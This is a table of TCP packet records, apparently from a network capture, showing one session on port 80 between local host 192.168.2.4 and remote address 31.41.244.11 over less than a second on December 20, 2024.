Dec 20, 2024 07:12:38.463011980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.464485884 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.464555025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.464603901 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.464665890 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.466037989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.466099977 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.466144085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.466196060 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.467628956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.467688084 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.467727900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.467797041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.469227076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.469286919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.469305992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.469356060 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.470732927 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.470832109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.471050978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.472264051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.472349882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.472409964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.473830938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.473927021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.473988056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.475415945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.475476980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.475543022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.477001905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.477061987 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.477104902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.477159977 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.478533030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.478610039 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.478646040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.478704929 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.480119944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.480144024 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.480205059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.481640100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.481738091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.481794119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.593648911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.593666077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.594311953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.594327927 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.594402075 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.595676899 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.595763922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.595830917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.597059965 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.597171068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.597238064 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.598448038 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.598503113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.599855900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.599929094 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.599970102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.601244926 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.601310015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.601315022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.601551056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.602570057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.602653027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.602721930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.603894949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.604001999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.604069948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.605221987 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.605360985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.605428934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.606575012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.606693983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.607913017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.607971907 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.607997894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.608069897 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.609357119 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.609424114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.609525919 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.610536098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.610634089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.610714912 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.611890078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.611964941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.612021923 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.613163948 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.613284111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.613342047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.614473104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.614636898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.615802050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.615864038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.615942955 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.617134094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.617192984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.617238998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.617554903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.618427038 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.618561983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.618621111 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.619750023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.619868040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.619935989 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.621079922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.621185064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.621253967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.622437000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.622518063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.623756886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.623788118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.623832941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.623864889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.625046015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.625118971 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.625168085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.625552893 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.626384974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.626502991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.626574993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.627707958 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.627814054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.627888918 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.629017115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.629127979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.629195929 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.630347013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.630459070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.631664038 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.631733894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.631774902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.633030891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.633097887 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.633455992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.633553028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.634299040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.634373903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.634419918 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.634471893 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.635616064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.635683060 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.635730982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.636387110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.636934996 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.636966944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.636996984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.637028933 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.638303041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.638367891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.638396025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.639601946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.639688969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.639725924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.640894890 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.640914917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.640985966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.641027927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.641060114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.642211914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.642318964 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.643585920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.643645048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.643659115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.643702984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.644848108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.644978046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.645555973 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.646145105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.646266937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.646322012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.647504091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.647598028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.647661924 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.649044991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.649159908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.649216890 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.650141001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.650258064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.651228905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.651556969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.651619911 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.651761055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.651832104 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.652791977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.652865887 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.652982950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.654140949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.654211998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.654215097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.654422045 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.655425072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.655494928 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.655553102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.655725956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.656752110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.656795025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.656862020 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.658145905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.658162117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.658205032 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.658236027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.659394026 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.659425974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.659492970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.660717964 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.660793066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.660908937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.660963058 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.662017107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.662079096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.662126064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.662182093 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.663280964 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.665532112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.785731077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.785862923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.785929918 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.786339045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.786406040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.786421061 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.786518097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.787482977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.787543058 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.787906885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.787969112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.788014889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.788074970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.789102077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.789165974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.789212942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.789364100 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.790297031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.790417910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.790481091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.791529894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.791577101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.791593075 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.791807890 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.792671919 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.792733908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.792788029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.792854071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.793878078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.793936014 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.793965101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.794018030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.795059919 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.795133114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.795167923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.795222998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.796241045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.796303034 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.796348095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.796473980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.797446966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.797508955 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.797595024 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.797698021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.798623085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.798680067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.798736095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.798806906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.799823999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.799886942 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.799937010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.800017118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.801002026 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.801064014 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.801078081 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.801140070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.802241087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.802299976 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.802316904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.802370071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.803400993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.803461075 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.803507090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.803563118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.804584026 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.804646015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.804685116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.804802895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.805768013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.805861950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.805869102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.805939913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.806998968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.807075977 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.807090044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.807145119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.808191061 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.808281898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.808342934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.808394909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.809370041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.809465885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.809828043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.810585976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.810650110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.810661077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.810710907 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.811744928 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.811870098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.811942101 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.812947989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.813011885 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.813054085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.813111067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.814130068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.814194918 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.814239979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.814402103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.815309048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.815372944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.815414906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.815486908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.816507101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.816574097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.816576958 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.816945076 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.817686081 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.817800999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.818886995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.818994045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.819305897 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.820136070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.820195913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.820256948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.821264982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.821335077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.821381092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.821438074 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.822464943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.822527885 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.822568893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.822624922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.823669910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.823744059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.823784113 CET	80	49838	31.41.244.11	192.168.2.4
